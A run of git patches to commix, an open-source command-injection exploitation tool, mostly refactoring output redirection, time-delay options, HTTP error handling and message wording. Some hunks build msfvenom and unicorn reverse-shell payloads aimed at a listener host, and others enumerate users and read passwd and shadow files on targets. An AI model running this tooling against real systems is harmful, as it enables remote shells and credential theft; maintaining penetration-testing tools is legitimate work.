settings.NO_OUTPUT, shell=True).wait() with open (output, "r") as content_file: data = content_file.readlines() @@ -329,7 +329,7 @@ def other_reverse_shells(separator): if windows_reverse_shell == '1': checks.gen_payload_msg(payload) try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() + proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + settings.NO_OUTPUT, shell=True).wait() with open(output, 'r') as content_file: repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] @@ -371,7 +371,7 @@ def other_reverse_shells(separator): unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) checks.gen_payload_msg(payload) - subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() + subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + settings.NO_OUTPUT, shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') other_shell = _urllib.parse.quote_plus(other_shell) diff --git a/src/utils/install.py b/src/utils/install.py index 55d3e63481..0d84fe9dc2 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -28,8 +28,8 @@ def remove(): debug_msg = "Removing existing installation and performing cleanup..." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - subprocess.call("rm -rf " + os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) + " >/dev/null 2>&1", shell=True) - subprocess.call("rm -rf " + os.path.join(settings.INSTALL_DIR, settings.APPLICATION) + " >/dev/null 2>&1", shell=True) + subprocess.call("rm -rf " + os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) + settings.NO_OUTPUT, shell=True) + subprocess.call("rm -rf " + os.path.join(settings.INSTALL_DIR, settings.APPLICATION) + settings.NO_OUTPUT, shell=True) except Exception as e: err_msg = "An error occurred while removing the application: " + str(e) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -87,7 +87,7 @@ def installer(): else: abort_unsupported(packages, dependencies) - subprocess.call("apt-get --force-yes -y install " + packages + " >/dev/null 2>&1", shell=True) + subprocess.call("apt-get --force-yes -y install " + packages + settings.NO_OUTPUT, shell=True) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Copying application files to '" + app_install_path + "'..." @@ -95,8 +95,8 @@ def installer(): try: current_dir = os.getcwd() - subprocess.call("cp -r " + current_dir + " " + app_install_path + " >/dev/null 2>&1", shell=True) - subprocess.call("chmod 775 " + os.path.join(app_install_path, settings.APPLICATION + ".py") + " >/dev/null 2>&1", shell=True) + subprocess.call("cp -r " + current_dir + " " + app_install_path + settings.NO_OUTPUT, shell=True) + subprocess.call("chmod 775 " + os.path.join(app_install_path, settings.APPLICATION + ".py") + settings.NO_OUTPUT, shell=True) except Exception as e: settings.print_data_to_stdout(settings.print_critical_msg(str(e))) raise SystemExit() @@ -109,7 +109,7 @@ def installer(): with open(launcher_path, 'w') as f: f.write("#!/bin/bash\n") f.write("cd " + app_install_path + " && ./" + settings.APPLICATION + ".py \"$@\"\n") - subprocess.call("chmod +x " + launcher_path + " >/dev/null 2>&1", shell=True) + subprocess.call("chmod +x " + launcher_path + settings.NO_OUTPUT, shell=True) except Exception as e: err_msg = "Failed to create launcher: " + str(e) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 829dc4d674..533f34a78f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -449,6 +449,9 @@ class OS(object): DETECTION_PHASE = False EXPLOITATION_PHASE = False +# Prevent the shell from interpreting the redirection operators. +NO_OUTPUT = ">/dev/null 2>&1" + # Exploitation techniques states CLASSIC_STATE = False EVAL_BASED_STATE = False From e0d82361d58bdf86f820676b3c08de9b8867e95b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 Jun 2025 06:57:11 +0300 Subject: [PATCH 0566/1023] Minor update related to the '--time-sec' option --- .../blind/techniques/time_based/tb_handler.py | 2 +- src/core/injections/controller/checks.py | 15 +++++++++------ src/core/injections/controller/handler.py | 4 ++-- src/core/main.py | 2 +- src/utils/menu.py | 4 ++-- src/utils/settings.py | 2 +- 6 files changed, 16 insertions(+), 13 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 047425eb85..b4cc645fb7 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -34,7 +34,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. - if not settings.TIME_RELATED_ATTACK : + if not settings.TIME_RELATED_ATTACK: checks.time_related_attaks_msg() settings.TIME_RELATED_ATTACK = True diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 94dd7ec0bd..9bd5db9f4b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2163,6 +2163,7 @@ def generate_char_pool(num_of_chars): [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool + """ Print powershell version """ @@ -3048,14 +3049,16 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ # continue """ -Set time related timesec +Adjusts the timesec delay """ -def time_related_timesec(timesec): - if settings.TIME_RELATED_ATTACK and settings.TIMESEC < 1: - timesec = 1 +def time_related_timesec(): + min_safe_delay = 0.5 # minimum safe delay + if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: + warn_msg = "Adjusting '--time-sec' to minimum safe delay of '" + str(min_safe_delay) + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return min_safe_delay else: - timesec = settings.TIMESEC - return timesec + return max(settings.TIMESEC, min_safe_delay) """ Export the time related injection results diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 265bda79b3..1c2127e802 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -177,7 +177,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti false_positive_warning = False export_injection_info = False exec_time = 0 - timesec = checks.time_related_timesec(timesec) + timesec = checks.time_related_timesec() if settings.TIME_RELATED_ATTACK == False: checks.time_related_attaks_msg() @@ -433,7 +433,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec call_tmp_based = False next_attack_vector = False export_injection_info = False - timesec = checks.time_related_timesec(timesec) + timesec = checks.time_related_timesec() if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: diff --git a/src/core/main.py b/src/core/main.py index 56624cff5b..15a3332c83 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -813,7 +813,7 @@ def main(filename, url, http_request_method): # Check if defined "--timesec" option. if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec - + if menu.options.tor: settings.TIMESEC = settings.TIMESEC * 2 warn_msg = "Increasing default value for option '--time-sec' to" diff --git a/src/utils/menu.py b/src/utils/menu.py index 7046769a0d..4ed229f767 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -486,9 +486,9 @@ def banner(): help="Seconds to delay between each HTTP request.") injection.add_option("--time-sec", - default=0, + default=1, action="store", - type="int", + type="float", dest="timesec", help="Seconds to delay the OS response.") diff --git a/src/utils/settings.py b/src/utils/settings.py index 533f34a78f..c331359940 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f4b873cb526d981c1364c2646ddba5a70dd77cf0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 18 Jun 2025 06:54:56 +0300 Subject: [PATCH 0567/1023] Fixes https://github.com/commixproject/commix/issues/1019 --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 26 ++++++++++++++++++++------ src/utils/settings.py | 2 +- 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d8789e0c6f..42787e4418 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Improved handling of `URLError` without HTTP response. * Fixed: Minor bug fix for missing `.txt` files during setup/install. * Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. * Fixed: Improved handling of terminal input to prevent encoding errors. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2c6be486cd..c658091623 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -228,18 +228,32 @@ def https_open(self, req): # This is useful when handling exotic HTTP errors (i.e requests for authentication). except (_urllib.error.HTTPError, _urllib.error.URLError) as err: - # Checks for not declared cookie(s), while server wants to set its own. if not menu.options.drop_set_cookie: checks.not_declared_cookies(err) try: - if err.fp is None: + if getattr(err, 'fp', None) is None: raise AttributeError page = checks.page_encoding(err, action="encode") - except Exception as e: + except Exception: page = '' - - print_http_response(err.info(), err.code, page) - + if isinstance(err, _urllib.error.HTTPError): + response_headers = err.info() + code = err.code + else: + code = "" + reason = str(getattr(err, 'reason', 'Unknown error')) + # process reason as before... + reason_parts = reason.split(settings.SINGLE_WHITESPACE) + if len(reason_parts) > 2: + response_headers = settings.SINGLE_WHITESPACE.join(reason_parts[2:]) + "." + else: + response_headers = reason + if not response_headers.endswith("."): + response_headers += "." + + print_http_response(response_headers, code, page) + + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ diff --git a/src/utils/settings.py b/src/utils/settings.py index c331359940..d0ed8ca236 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 62340ee88e2409b53bb1229675403f9617052d79 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Jun 2025 07:58:26 +0300 Subject: [PATCH 0568/1023] Fixes https://github.com/commixproject/commix/issues/1018 --- doc/CHANGELOG.md | 1 + src/core/requests/requests.py | 22 +++++++++++++--------- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 10 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 42787e4418..ac275c5234 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Improved handling of HTTP errors missing response codes during authentication. * Fixed: Improved handling of `URLError` without HTTP response. * Fixed: Minor bug fix for missing `.txt` files during setup/install. * Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e171c43550..d536a116f6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -99,7 +99,7 @@ def estimate_response_time(url, timesec, http_request_method): except _http_client.InvalidURL as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: ignore_start = time.time() if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: @@ -110,20 +110,23 @@ def estimate_response_time(url, timesec, http_request_method): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += " (" + str(err) + ")." - if str(err.getcode()) != settings.UNAUTHORIZED_ERROR: + + # Use getattr to safely get the error code (HTTPError has it, URLError doesn't) + err_code = getattr(err, "code", None) + if str(err_code) != settings.UNAUTHORIZED_ERROR: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - # Check for HTTP Error 401 (Unauthorized). else: try: - # Get the auth header value - auth_line = err.headers.get('www-authenticate', '') - # Checking for authentication type name. - auth_type = auth_line.split()[0] - # Checking for the realm attribute. + # Safely get auth header if present + auth_line = '' + if hasattr(err, 'headers') and err.headers: + auth_line = err.headers.get('www-authenticate', '') + auth_type = auth_line.split()[0] if auth_line else '' + try: auth_obj = re.match(r'''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") - except: + except (AttributeError, IndexError, TypeError): realm = False except ValueError: @@ -139,6 +142,7 @@ def estimate_response_time(url, timesec, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): menu.options.auth_type = auth_type.lower() diff --git a/src/utils/settings.py b/src/utils/settings.py index d0ed8ca236..7a59885309 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0036c912b5cf75b519f1928b921b491bdfc2c0aa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 Jun 2025 07:06:13 +0300 Subject: [PATCH 0569/1023] Fixes https://github.com/commixproject/commix/issues/1020 --- src/core/injections/controller/enumeration.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index d176097b4a..f8c84285fb 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -50,6 +50,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + ps_version = shell else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7a59885309..db8af16c97 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ec004f228800cee82b8d123591b7bf4ae355fb66 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 Jun 2025 08:10:09 +0300 Subject: [PATCH 0570/1023] Improved handling of non-ASCII characters in URL path and query components --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 13 +++++++++++++ src/core/requests/redirection.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 16 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ac275c5234..747acd9def 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Improved handling of non-ASCII characters in URL path and query components. * Fixed: Improved handling of HTTP errors missing response codes during authentication. * Fixed: Improved handling of `URLError` without HTTP response. * Fixed: Minor bug fix for missing `.txt` files during setup/install. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c658091623..153d8a1dc6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -42,6 +42,18 @@ from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import urllib as _urllib +""" +Encoding non-ASCII characters (in URL path and query). +""" +def encode_non_ascii_url(request): + url = request.get_full_url() + parts = _urllib.parse.urlsplit(url) + # Allow '%' safe to avoid double encoding already encoded sequences + path = _urllib.parse.quote(parts.path, safe="%/") # Keep slashes safe too + query = _urllib.parse.quote(parts.query, safe="=?/%" + settings.PARAMETER_DELIMITER) # Keep query delimiters + % safe + request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) + return request + """ Checking the HTTP response content. """ @@ -170,6 +182,7 @@ def https_open(self, req): settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_APPLIED_TAMPER try: + request = encode_non_ascii_url(request) response = opener.open(request, timeout=settings.TIMEOUT) _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index f6fcfdeb5c..00f28df68c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -68,7 +68,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): requests.crawler_request(redirect_url) try: - if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED: + if (len(settings.REDIRECT_CODE) == 0) or (settings.CRAWLING and redirect_url in settings.HREF_SKIPPED): return redirect_url elif settings.CRAWLING and url in settings.HREF_SKIPPED: return url diff --git a/src/utils/settings.py b/src/utils/settings.py index db8af16c97..4dbc8d18a5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 32a4cdfa2c9380f6b4a02ae001d7bb61302adb50 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 24 Jun 2025 07:03:18 +0300 Subject: [PATCH 0571/1023] Minor update --- .../blind/techniques/time_based/tb_handler.py | 9 ++++---- src/core/injections/controller/checks.py | 23 ++++++++++--------- src/core/injections/controller/handler.py | 9 +++++--- src/core/injections/controller/injector.py | 8 +++---- src/utils/settings.py | 4 +++- 5 files changed, 30 insertions(+), 23 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index b4cc645fb7..6701082e92 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -40,9 +40,9 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: - warn_msg = "It is highly recommended, due to serious response delays, " - warn_msg += "to skip the time-based (blind) technique and to continue " - warn_msg += "with the file-based (semiblind) technique." + settings.RESPONSE_DELAYS = True + warn_msg = "Due to significant response delays, " + warn_msg += "skipping the time-based (blind) technique is strongly recommended." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) go_back = False while True: @@ -56,7 +56,8 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, return False elif proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + return False elif proceed_option.lower() == "q": raise SystemExit() else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9bd5db9f4b..6cdaff9f45 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -235,6 +235,7 @@ def custom_injection_marker_character(url, http_request_method): pass """ +Logging a debug message when a specific injection technique is being skipped. """ def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: @@ -1064,7 +1065,7 @@ def check_url(url): return _urllib.parse.urlsplit(url) except ValueError as ex: err_msg = "Invalid target URL has been given. " - err_msg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " + err_msg += "Please be sure that you do not have any leftover characters (e.g. '[' or ']') " err_msg += "in the hostname part." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -2339,13 +2340,13 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate operating system users." + warn_msg = "It seems you do not have permissions to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate operating system users." + warn_msg = "It seems you do not have permissions to enumerate operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass @@ -2435,7 +2436,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: output_file.write(" " + sys_users) else: - warn_msg = "It seems that you don't have permissions " + warn_msg = "It seems you do not have permissions " warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: @@ -2489,7 +2490,7 @@ def print_passes(sys_passes, filename, _, alter_shell): if not menu.options.no_logging: output_file.write(" " + fields[0]) else: - warn_msg = "It seems that you don't have permissions " + warn_msg = "It seems you do not have permissions " warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2639,7 +2640,7 @@ def file_read_status(shell, file_to_read, filename): info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "It seems that you don't have permissions " + warn_msg = "It seems you do not have permissions " warn_msg += "to read the content of the file '" + file_to_read + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2697,7 +2698,7 @@ def file_write_status(shell, dest_to_write): info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." + warn_msg = "It seems you do not have permissions to write files on the remote directory '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2731,7 +2732,7 @@ def file_upload_status(shell, dest_to_upload): info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'." + warn_msg = "It seems you do not have permissions to upload files on the remote directory '" + dest_to_upload + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2945,7 +2946,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] else: default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) - message = "Enter what you want to use for writable directory (e.g. '" + message = "Enter a writable directory to use for file operations (e.g. '" message += default_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) if len(settings.WEB_ROOT) == 0: @@ -3020,12 +3021,12 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) settings.print_data_to_stdout(settings.END_LINE.CR) - message = "It seems that you don't have permissions to " + message = "It seems you do not have permissions to " message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." if not menu.options.web_root: message += " You are advised to rerun with option '--web-root'." while True: - message = message + settings.END_LINE.LF + "Do you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " + message = message + settings.END_LINE.LF + "Would you like to use the temporary directory ('" + tmp_path + "') instead? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 1c2127e802..b2148a44fc 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -43,7 +43,10 @@ def exit_handler(no_result): if no_result: if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if not settings.RESPONSE_DELAYS: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + settings.RESPONSE_DELAYS = False return False else : settings.print_data_to_stdout(settings.END_LINE.CR) @@ -596,7 +599,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec checks.quit(filename, url, _ = False) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." + err_msg = "You do not have access to this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) checks.quit(filename, url, _ = False) @@ -613,7 +616,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec except _urllib.error.URLError as e: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - warn_msg = "It seems that you don't have permissions to " + warn_msg = "It seems you do not have permissions to " warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index db0cc291ee..23a1b42778 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -363,15 +363,15 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True while True: - message = "Do you want to use URL '" + output - message += "' for command execution output? [Y/n] > " + message = "Would you like to use the URL '" + output + message += "' to receive the command execution output? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: - message = "Enter URL to use " - message += "for command execution output > " + message = "Enter URL to receive " + message += "the command execution output > " message = common.read_input(message, default=output, check_batch=True) if not re.search(r'^(?:http)s?://', message, re.I): common.invalid_option(message) diff --git a/src/utils/settings.py b/src/utils/settings.py index 4dbc8d18a5..107c74dae0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -499,6 +499,8 @@ class OS(object): # Slow target response. SLOW_TARGET_RESPONSE = 3 +RESPONSE_DELAYS = False + # The testable parameter. TESTABLE_PARAMETER = "" From 05fa3cad3a00f9d001d29c132569f4e28594e5bb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 25 Jun 2025 06:43:47 +0300 Subject: [PATCH 0572/1023] Minor update --- src/core/injections/controller/checks.py | 160 ++++++++++------------ src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/main.py | 6 +- src/utils/common.py | 2 +- src/utils/purge.py | 2 +- src/utils/settings.py | 2 +- 7 files changed, 84 insertions(+), 92 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6cdaff9f45..f08eab2620 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -72,7 +72,7 @@ def exit(): """ def check_waf(url, http_request_method): payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) - info_msg = "Checking if the target is protected by some kind of WAF/IPS." + info_msg = "Checking whether the target is protected by some kind of WAF/IPS." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) @@ -432,7 +432,7 @@ def tab_autocompleter(): # Tab compliter readline.set_completer(menu.tab_completer) except (TypeError, AttributeError) as e: - error_msg = "Failed while trying to use platform's readline library." + error_msg = "Failed to initialize tab completion with the platform's readline library." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ 